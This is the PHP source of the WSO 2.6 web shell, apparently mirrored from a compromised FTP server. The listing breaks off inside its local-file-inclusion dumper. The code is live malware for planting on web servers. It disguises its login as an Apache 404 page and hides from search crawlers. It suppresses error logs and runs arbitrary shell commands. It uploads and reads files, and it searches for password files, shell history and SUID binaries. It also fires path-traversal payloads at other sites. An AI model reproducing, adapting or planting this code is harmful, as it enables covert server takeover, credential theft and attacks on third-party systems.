home *** CD-ROM | disk | FTP | other *** search
/ cemaftp.lntecc.com / cemaftp.lntecc.com.tar / cemaftp.lntecc.com / ~ < prev    next >
Text File  |  2013-04-07  |  97KB  |  2,031 lines

  1. <?php
  2. /* WSO 2.6 (Web Shell by stealthers.in) made by Death Burner*/ 
  3. $auth_pass = "6a6817cf9f1b3cc9f5cc71e71b2eeed9";
  4. $color = "green";
  5. $default_action = 'FilesMan';
  6. $default_use_ajax = true;
  7. $default_charset = 'Windows-1251';
  8.  
  9. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  10.     $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
  11.     if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  12.         header('HTTP/1.0 404 Not Found');
  13.         exit;
  14.     }
  15. }
  16.  
  17. @session_start();
  18. @ini_set('error_log',NULL);
  19. @ini_set('log_errors',0);
  20. @ini_set('max_execution_time',0);
  21. @set_time_limit(0);
  22. @set_magic_quotes_runtime(0);
  23. @define('WSO_VERSION', '2.6');
  24.  
  25. if(get_magic_quotes_gpc()) {
  26.     function WSOstripslashes($array) {
  27.         return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
  28.     }
  29.     $_POST = WSOstripslashes($_POST);
  30. }
  31.  
  32. function printLogin() { 
  33.     ?> 
  34. <h1>Not Found</h1> 
  35. <p>The requested URL was not found on this server.</p> 
  36. <hr> 
  37. <address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80</address> 
  38.     <style> 
  39.         input { margin:0;background-color:#fff;border:1px solid #fff; } 
  40.     </style> 
  41.     <center> 
  42.     <form method=post> 
  43.     <input type=password name=pass> 
  44.     </form></center> 
  45.     <?php 
  46.     exit; 
  47.  
  48. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
  49.     if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
  50.         $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  51.     else
  52.         printLogin();
  53.  
  54. if(strtolower(substr(PHP_OS,0,3)) == "win")
  55.     $os = 'win';
  56. else
  57.     $os = 'nix';
  58.  
  59. $safe_mode = @ini_get('safe_mode');
  60. if(!$safe_mode)
  61.     error_reporting(0);
  62.  
  63. $disable_functions = @ini_get('disable_functions');
  64. $home_cwd = @getcwd();
  65. if(isset($_POST['c']))
  66.     @chdir($_POST['c']);
  67. $cwd = @getcwd();
  68. if($os == 'win') {
  69.     $home_cwd = str_replace("\\", "/", $home_cwd);
  70.     $cwd = str_replace("\\", "/", $cwd);
  71. }
  72. if( $cwd[strlen($cwd)-1] != '/' )
  73.     $cwd .= '/';
  74.  
  75. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax']))
  76.     $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$GLOBALS['default_use_ajax'];
  77.  
  78. if($os == 'win')
  79.     $aliases = array(
  80.         "List Directory" => "dir",
  81.         "Find index.php in current dir" => "dir /s /w /b index.php",
  82.         "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
  83.         "Show active connections" => "netstat -an",
  84.         "Show running services" => "net start",
  85.         "User accounts" => "net user",
  86.         "Show computers" => "net view",
  87.         "ARP Table" => "arp -a",
  88.         "IP Configuration" => "ipconfig /all"
  89.     );
  90. else
  91.     $aliases = array(
  92.           "List dir" => "ls -lha",
  93.         "list file attributes on a Linux second extended file system" => "lsattr -va",
  94.           "show opened ports" => "netstat -an | grep -i listen",
  95.         "process status" => "ps aux",
  96.         "Find" => "",
  97.           "find all suid files" => "find / -type f -perm -04000 -ls",
  98.           "find suid files in current dir" => "find . -type f -perm -04000 -ls",
  99.           "find all sgid files" => "find / -type f -perm -02000 -ls",
  100.           "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  101.           "find config.inc.php files" => "find / -type f -name config.inc.php",
  102.           "find config* files" => "find / -type f -name \"config*\"",
  103.           "find config* files in current dir" => "find . -type f -name \"config*\"",
  104.           "find all writable folders and files" => "find / -perm -2 -ls",
  105.           "find all writable folders and files in current dir" => "find . -perm -2 -ls",
  106.           "find all service.pwd files" => "find / -type f -name service.pwd",
  107.           "find service.pwd files in current dir" => "find . -type f -name service.pwd",
  108.           "find all .htpasswd files" => "find / -type f -name .htpasswd",
  109.           "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  110.           "find all .bash_history files" => "find / -type f -name .bash_history",
  111.           "find .bash_history files in current dir" => "find . -type f -name .bash_history",
  112.           "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  113.           "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
  114.         "Locate" => "",
  115.           "locate httpd.conf files" => "locate httpd.conf",
  116.         "locate vhosts.conf files" => "locate vhosts.conf",
  117.         "locate proftpd.conf files" => "locate proftpd.conf",
  118.         "locate psybnc.conf files" => "locate psybnc.conf",
  119.         "locate my.conf files" => "locate my.conf",
  120.         "locate admin.php files" =>"locate admin.php",
  121.         "locate cfg.php files" => "locate cfg.php",
  122.         "locate conf.php files" => "locate conf.php",
  123.         "locate config.dat files" => "locate config.dat",
  124.         "locate config.php files" => "locate config.php",
  125.         "locate config.inc files" => "locate config.inc",
  126.         "locate config.inc.php" => "locate config.inc.php",
  127.         "locate config.default.php files" => "locate config.default.php",
  128.         "locate config* files " => "locate config",
  129.         "locate .conf files"=>"locate '.conf'",
  130.         "locate .pwd files" => "locate '.pwd'",
  131.         "locate .sql files" => "locate '.sql'",
  132.         "locate .htpasswd files" => "locate '.htpasswd'",
  133.         "locate .bash_history files" => "locate '.bash_history'",
  134.         "locate .mysql_history files" => "locate '.mysql_history'",
  135.         "locate .fetchmailrc files" => "locate '.fetchmailrc'",
  136.         "locate backup files" => "locate backup",
  137.         "locate dump files" => "locate dump",
  138.         "locate priv files" => "locate priv"
  139.     );
  140.  
  141. function wsoHeader() {
  142.     if(empty($_POST['charset']))
  143.         $_POST['charset'] = $GLOBALS['default_charset'];
  144.     global $color;
  145.     echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
  146. <style>
  147. body{background-color:#444;color:#e1e1e1;}
  148. body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
  149. table.info{ color:#fff;background-color:#222; }
  150. span,h1,a{ color: $color !important; }
  151. span{ font-weight: bolder; }
  152. h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
  153. div.content{ padding: 5px;margin-left:5px;background-color:#333; }
  154. a{ text-decoration:none; }
  155. a:hover{ text-decoration:underline; }
  156. .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
  157. .bigarea{ width:100%;height:250px; }
  158. input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
  159. form{ margin:0px; }
  160. #toolsTbl{ text-align:center; }
  161. .toolsInp{ width: 300px }
  162. .main th{text-align:left;background-color:#5e5e5e;}
  163. .main tr:hover{background-color:#5e5e5e}
  164. .l1{background-color:#444}
  165. .l2{background-color:#333}
  166. pre{font-family:Courier,Monospace;}
  167. </style>
  168. <script>
  169.     var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
  170.     var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
  171.     var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
  172.     var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
  173.     var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
  174.     var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
  175.     var d = document;
  176.     function set(a,c,p1,p2,p3,charset) {
  177.         if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
  178.         if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
  179.         if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
  180.         if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
  181.         if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
  182.         if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
  183.     }
  184.     function g(a,c,p1,p2,p3,charset) {
  185.         set(a,c,p1,p2,p3,charset);
  186.         d.mf.submit();
  187.     }
  188.     function a(a,c,p1,p2,p3,charset) {
  189.         set(a,c,p1,p2,p3,charset);
  190.         var params = 'ajax=true';
  191.         for(i=0;i<d.mf.elements.length;i++)
  192.             params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
  193.         sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
  194.     }
  195.     function sr(url, params) {
  196.         if (window.XMLHttpRequest)
  197.             req = new XMLHttpRequest();
  198.         else if (window.ActiveXObject)
  199.             req = new ActiveXObject('Microsoft.XMLHTTP');
  200.         if (req) {
  201.             req.onreadystatechange = processReqChange;
  202.             req.open('POST', url, true);
  203.             req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
  204.             req.send(params);
  205.         }
  206.     }
  207.     function processReqChange() {
  208.         if( (req.readyState == 4) )
  209.             if(req.status == 200) {
  210.                 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
  211.                 var arr=reg.exec(req.responseText);
  212.                 eval(arr[2].substr(0, arr[1]));
  213.             } else alert('Request error!');
  214.     }
  215. </script>
  216. <head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
  217. <form method=post name=mf style='display:none;'>
  218. <input type=hidden name=a>
  219. <input type=hidden name=c>
  220. <input type=hidden name=p1>
  221. <input type=hidden name=p2>
  222.  
  223. <input type=hidden name=p3>
  224. <input type=hidden name=charset>
  225. </form>";
  226.     $freeSpace = @diskfreespace($GLOBALS['cwd']);
  227.     $totalSpace = @disk_total_space($GLOBALS['cwd']);
  228.     $totalSpace = $totalSpace?$totalSpace:1;
  229.     $release = @php_uname('r');
  230.     $kernel = @php_uname('s');
  231.     if(!function_exists('posix_getegid')) {
  232.         $user = @get_current_user();
  233.         $uid = @getmyuid();
  234.         $gid = @getmygid();
  235.         $group = "?";
  236.     } else {
  237.         $uid = @posix_getpwuid(posix_geteuid());
  238.         $gid = @posix_getgrgid(posix_getegid());
  239.         $user = $uid['name'];
  240.         $uid = $uid['uid'];
  241.         $group = $gid['name'];
  242.         $gid = $gid['gid'];
  243.     }
  244.  
  245.     $cwd_links = '';
  246.     $path = explode("/", $GLOBALS['cwd']);
  247.     $n=count($path);
  248.     for($i=0; $i<$n-1; $i++) {
  249.         $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
  250.         for($j=0; $j<=$i; $j++)
  251.             $cwd_links .= $path[$j].'/';
  252.         $cwd_links .= "\")'>".$path[$i]."/</a>";
  253.     }
  254.  
  255.     $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
  256.     $opt_charsets = '';
  257.     foreach($charsets as $item)
  258.         $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
  259.  
  260.     $m = array('Sec Info'=>'SecInfo','Files'=>'FilesMan','Exec'=>'Console','Sql'=>'Sql','PHP Tools'=>'phptools','LFI'=>'lfiscan','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
  261.     if(!empty($GLOBALS['auth_pass']))
  262.         $m['Logout'] = 'Logout';
  263.     $m['Self remove'] = 'SelfRemove';
  264.     $menu = '';
  265.     foreach($m as $k => $v)
  266.         $menu .= '<th width="'.(int)(100/count($m)).'%">[<a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a>]</th>';
  267.  
  268.     $drives = "";
  269.     if($GLOBALS['os'] == 'win') {
  270.         foreach(range('c','z') as $drive)
  271.         if(is_dir($drive.':\\'))
  272.             $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  273.     }
  274.     echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
  275.        . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' </nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>')
  276.        . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
  277.        . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
  278.        . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
  279. }
  280.  
  281. function wsoFooter() {
  282.     $is_writable = is_writable($GLOBALS['cwd'])?" <font color='#25ff00'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
  283.     echo "
  284.  
  285. </div>
  286. <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
  287.     <tr>
  288.         <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
  289.         <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
  290.     </tr><tr>
  291.         <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
  292.         <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
  293.  
  294.     </tr><tr>
  295.         <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
  296.         <td><form method='post' ENCTYPE='multipart/form-data'>
  297.         <input type=hidden name=a value='FilesMAn'>
  298.         <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
  299.         <input type=hidden name=p1 value='uploadFile'>
  300.         <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
  301.         <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td>
  302.  
  303.     </tr></table><center>WSO Stealthers.in edition - Modified by Death Burner</center></div></body></html>";
  304. }
  305.  
  306. if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
  307.     function posix_getpwuid($p) {return false;} }
  308. if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
  309.     function posix_getgrgid($p) {return false;} }
  310.  
  311. function wsoEx($in) {
  312.     $out = '';
  313.     if (function_exists('exec')) {
  314.         @exec($in,$out);
  315.         $out = @join("\n",$out);
  316.     } elseif (function_exists('passthru')) {
  317.         ob_start();
  318.         @passthru($in);
  319.         $out = ob_get_clean();
  320.     } elseif (function_exists('system')) {
  321.         ob_start();
  322.         @system($in);
  323.         $out = ob_get_clean();
  324.     } elseif (function_exists('shell_exec')) {
  325.         $out = shell_exec($in);
  326.     } elseif (is_resource($f = @popen($in,"r"))) {
  327.         $out = "";
  328.         while(!@feof($f))
  329.             $out .= fread($f,1024);
  330.         pclose($f);
  331.     }
  332.     return $out;
  333. }
  334. function wsoViewSize($s) {
  335.     if($s >= 1073741824)
  336.         return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  337.     elseif($s >= 1048576)
  338.         return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  339.     elseif($s >= 1024)
  340.         return sprintf('%1.2f', $s / 1024 ) . ' KB';
  341.     else
  342.         return $s . ' B';
  343. }
  344.  
  345. function wsoPerms($p) {
  346.     if (($p & 0xC000) == 0xC000)$i = 's';
  347.     elseif (($p & 0xA000) == 0xA000)$i = 'l';
  348.     elseif (($p & 0x8000) == 0x8000)$i = '-';
  349.     elseif (($p & 0x6000) == 0x6000)$i = 'b';
  350.     elseif (($p & 0x4000) == 0x4000)$i = 'd';
  351.     elseif (($p & 0x2000) == 0x2000)$i = 'c';
  352.     elseif (($p & 0x1000) == 0x1000)$i = 'p';
  353.     else $i = 'u';
  354.     $i .= (($p & 0x0100) ? 'r' : '-');
  355.     $i .= (($p & 0x0080) ? 'w' : '-');
  356.     $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  357.     $i .= (($p & 0x0020) ? 'r' : '-');
  358.     $i .= (($p & 0x0010) ? 'w' : '-');
  359.     $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  360.     $i .= (($p & 0x0004) ? 'r' : '-');
  361.     $i .= (($p & 0x0002) ? 'w' : '-');
  362.     $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  363.     return $i;
  364. }
  365.  
  366. function wsoPermsColor($f) {
  367.     if (!@is_readable($f))
  368.         return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
  369.     elseif (!@is_writable($f))
  370.         return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
  371.     else
  372.         return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
  373. }
  374.  
  375. if(!function_exists("scandir")) {
  376.     function scandir($dir) {
  377.         $dh  = opendir($dir);
  378.         while (false !== ($filename = readdir($dh)))
  379.             $files[] = $filename;
  380.         return $files;
  381.     }
  382. }
  383.  
  384. function wsoWhich($p) {
  385.     $path = wsoEx('which ' . $p);
  386.     if(!empty($path))
  387.         return $path;
  388.     return false;
  389. }
  390.  
  391. function actionSecInfo() {
  392.     wsoHeader();
  393.     echo '<h1>Server security information</h1><div class=content>';
  394.     function wsoSecParam($n, $v) {
  395.         $v = trim($v);
  396.         if($v) {
  397.             echo '<span>' . $n . ': </span>';
  398.             if(strpos($v, "\n") === false)
  399.                 echo $v . '<br>';
  400.             else
  401.                 echo '<pre class=ml1>' . $v . '</pre>';
  402.         }
  403.     }
  404.  
  405.     wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
  406.     if(function_exists('apache_get_modules'))
  407.         wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
  408.     wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
  409.     wsoSecParam('Open base dir', @ini_get('open_basedir'));
  410.     wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  411.     wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  412.     wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
  413.     $temp=array();
  414.     if(function_exists('mysql_get_client_info'))
  415.         $temp[] = "MySql (".mysql_get_client_info().")";
  416.     if(function_exists('mssql_connect'))
  417.         $temp[] = "MSSQL";
  418.     if(function_exists('pg_connect'))
  419.         $temp[] = "PostgreSQL";
  420.     if(function_exists('oci_connect'))
  421.         $temp[] = "Oracle";
  422.     wsoSecParam('Supported databases', implode(', ', $temp));
  423.     echo '<br>';
  424.  
  425.     if($GLOBALS['os'] == 'nix') {
  426.         wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
  427.         wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
  428.         wsoSecParam('OS version', @file_get_contents('/proc/version'));
  429.         wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
  430.         if(!$GLOBALS['safe_mode']) {
  431.             $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  432.             $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  433.             $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  434.             echo '<br>';
  435.             $temp=array();
  436.             foreach ($userful as $item)
  437.                 if(wsoWhich($item))
  438.                     $temp[] = $item;
  439.             wsoSecParam('Userful', implode(', ',$temp));
  440.             $temp=array();
  441.             foreach ($danger as $item)
  442.                 if(wsoWhich($item))
  443.                     $temp[] = $item;
  444.             wsoSecParam('Danger', implode(', ',$temp));
  445.             $temp=array();
  446.             foreach ($downloaders as $item)
  447.                 if(wsoWhich($item))
  448.                     $temp[] = $item;
  449.             wsoSecParam('Downloaders', implode(', ',$temp));
  450.             echo '<br/>';
  451.             wsoSecParam('HDD space', wsoEx('df -h'));
  452.             wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
  453.         }
  454.     } else {
  455.         wsoSecParam('OS Version',wsoEx('ver'));
  456.         wsoSecParam('Account Settings',wsoEx('net accounts'));
  457.         wsoSecParam('User Accounts',wsoEx('net user'));
  458.     }
  459.     echo '</div>';
  460.     wsoFooter();
  461. }
  462. function actionlfiscan() {
  463.     wsoHeader();
  464.     print '
  465.    <h3>Death Burner\'s LFI File dumper</h3>
  466.  
  467.    <form method="post" action="?"><input type="hidden" name="a" value="lfiscan">
  468.       LFI URL: <input type="text" size="60" name="lfiurl" value=""> <input type="submit" value="Go"> File: <select name="scantype">
  469.          <option value="1">
  470.             Access Log
  471.          </option>
  472.  
  473.          <option value="2">
  474.             httpd.conf
  475.          </option>
  476.  
  477.          <option value="3">
  478.             Error Log
  479.          </option>
  480.          <option value="4">
  481.             php.ini
  482.          </option>
  483.          <option value="5">
  484.             MySQL
  485.          </option>
  486.          <option value="6">
  487.             FTP
  488.          </option>
  489.          <option value="7">
  490.             Environ
  491.          </option>
  492.       </select> Null: <select name="null">
  493.          <option value="%00">
  494.             Yes
  495.          </option>
  496.  
  497.          <option value="">
  498.             No
  499.          </option>
  500.       </select> User-Agent: <input type="text" size="20" name="custom_header" value="">
  501.    </form>';
  502.    error_reporting(0);
  503.       if($_POST['lfiurl']) {
  504.          print "<pre>";
  505.          $cheader = $_POST['custom_header'];
  506.          $target = $_POST['lfiurl'];
  507.          $type = $_POST['scantype'];
  508.          $byte1 = $_POST['null'];
  509.          $lfitest = "../../../../../../../../../../../../../../etc/passwd".$byte1."";
  510.          $lfitest2 = "../../../../../../../../../../../../../../fake/file".$byte1."";
  511.          $lfiprocenv = "../../../../../../../../../../../../../../proc/environ".$byte1."";
  512.          $lfiaccess = array(
  513.             1 => "../../../../../../../../../../../../../../apache/logs/access.log".$byte1."",
  514.             2 => "../../../../../../../../../../../../../../etc/httpd/logs/acces_log".$byte1."",
  515.             3 => "../../../../../../../../../../../../../../etc/httpd/logs/acces.log".$byte1."",
  516.             4 => "../../../../../../../../../../../../../../var/www/logs/access_log".$byte1."",
  517.             5 => "../../../../../../../../../../../../../../var/www/logs/access.log".$byte1."",
  518.             6 => "../../../../../../../../../../../../../../usr/local/apache/logs/access_log".$byte1."",
  519.             7 => "../../../../../../../../../../../../../../usr/local/apache/logs/access.log".$byte1."",
  520.             8 => "../../../../../../../../../../../../../../var/log/apache/access_log".$byte1."",
  521.             9 => "../../../../../../../../../../../../../../var/log/apache2/access_log".$byte1."",
  522.             10 => "../../../../../../../../../../../../../../var/log/apache/access.log".$byte1."",
  523.             11 => "../../../../../../../../../../../../../../var/log/apache2/access.log".$byte1."",
  524.             12 => "../../../../../../../../../../../../../../var/log/access_log".$byte1."",
  525.             13 => "../../../../../../../../../../../../../../var/log/access.log".$byte1."",
  526.             14 => "../../../../../../../../../../../../../../var/log/httpd/access_log".$byte1."",
  527.             15 => "../../../../../../../../../../../../../../apache2/logs/access.log".$byte1."",
  528.             16 => "../../../../../../../../../../../../../../logs/access.log".$byte1."",
  529.             17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access_log".$byte1."",
  530.             18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access.log".$byte1."",
  531.             19 => "../../../../../../../../../../../../../../var/log/httpd/access.log".$byte1."",
  532.             20 => "../../../../../../../../../../../../../../opt/lampp/logs/access_log".$byte1."",
  533.             21 => "../../../../../../../../../../../../../../opt/xampp/logs/access_log".$byte1."",
  534.             22 => "../../../../../../../../../../../../../../opt/lampp/logs/access.log".$byte1."",
  535.             23 => "../../../../../../../../../../../../../../opt/xampp/logs/access.log".$byte1."");
  536.        
  537.          $lfierror = array(
  538.             1 => "../../../../../../../../../../../../../../apache/logs/error.log".$byte1."",
  539.             2 => "../../../../../../../../../../../../../../etc/httpd/logs/error_log".$byte1."",
  540.             3 => "../../../../../../../../../../../../../../etc/httpd/logs/error.log".$byte1."",
  541.             4 => "../../../../../../../../../../../../../../var/www/logs/error_log".$byte1."",
  542.             5 => "../../../../../../../../../../../../../../var/www/logs/error.log".$byte1."",
  543.             6 => "../../../../../../../../../../../../../../usr/local/apache/logs/error_log".$byte1."",
  544.             7 => "../../../../../../../../../../../../../../usr/local/apache/logs/error.log".$byte1."",
  545.             8 => "../../../../../../../../../../../../../../var/log/apache/error_log".$byte1."",
  546.             9 => "../../../../../../../../../../../../../../var/log/apache2/error_log".$byte1."",
  547.             10 => "../../../../../../../../../../../../../../var/log/apache/error.log".$byte1."",
  548.             11 => "../../../../../../../../../../../../../../var/log/apache2/error.log".$byte1."",
  549.             12 => "../../../../../../../../../../../../../../var/log/error_log".$byte1."",
  550.             13 => "../../../../../../../../../../../../../../var/log/error.log".$byte1."",
  551.             14 => "../../../../../../../../../../../../../../var/log/httpd/error_log".$byte1."",
  552.             15 => "../../../../../../../../../../../../../../apache2/logs/error.log".$byte1."",
  553.             16 => "../../../../../../../../../../../../../../logs/error.log".$byte1."",
  554.             17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error_log".$byte1."",
  555.             18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error.log".$byte1."",
  556.             19 => "../../../../../../../../../../../../../../var/log/httpd/error.log".$byte1."",
  557.             20 => "../../../../../../../../../../../../../../opt/lampp/logs/error_log".$byte1."",
  558.             21 => "../../../../../../../../../../../../../../opt/xampp/logs/error_log".$byte1."",
  559.             22 => "../../../../../../../../../../../../../../opt/lampp/logs/error.log".$byte1."",
  560.             23 => "../../../../../../../../../../../../../../opt/xampp/logs/error.log".$byte1."");
  561.  
  562.          $lficonfig = array(
  563.             1 => "../../../../../../../../../../../../../../../usr/local/apache/conf/httpd.conf".$byte1."",
  564.             2 => "../../../../../../../../../../../../../../../usr/local/apache2/conf/httpd.conf".$byte1."",
  565.             3 => "../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf".$byte1."",
  566.             4 => "../../../../../../../../../../../../../../../etc/apache/conf/httpd.conf".$byte1."",
  567.             5 => "../../../../../../../../../../../../../../../usr/local/etc/apache/conf/httpd.conf".$byte1."",
  568.             6 => "../../../../../../../../../../../../../../../etc/apache2/httpd.conf".$byte1."",
  569.             7 => "../../../../../../../../../../../../../../../usr/local/apache/httpd.conf".$byte1."",
  570.             8 => "../../../../../../../../../../../../../../../usr/local/apache2/httpd.conf".$byte1."",
  571.             9 => "../../../../../../../../../../../../../../../usr/local/httpd/conf/httpd.conf".$byte1."",
  572.             10 => "../../../../../../../../../../../../../../../usr/local/etc/apache2/conf/httpd.conf".$byte1."",
  573.             11 => "../../../../../../../../../../../../../../../usr/local/etc/httpd/conf/httpd.conf".$byte1."",
  574.             12 => "../../../../../../../../../../../../../../../usr/apache2/conf/httpd.conf".$byte1."",
  575.             13 => "../../../../../../../../../../../../../../../usr/apache/conf/httpd.conf".$byte1."",
  576.             14 => "../../../../../../../../../../../../../../../usr/local/apps/apache2/conf/httpd.conf".$byte1."",
  577.             15 => "../../../../../../../../../../../../../../../usr/local/apps/apache/conf/httpd.conf".$byte1."",
  578.             16 => "../../../../../../../../../../../../../../../etc/apache2/conf/httpd.conf".$byte1."",
  579.             17 => "../../../../../../../../../../../../../../../etc/http/conf/httpd.conf".$byte1."",
  580.             18 => "../../../../../../../../../../../../../../../etc/httpd/httpd.conf".$byte1."",
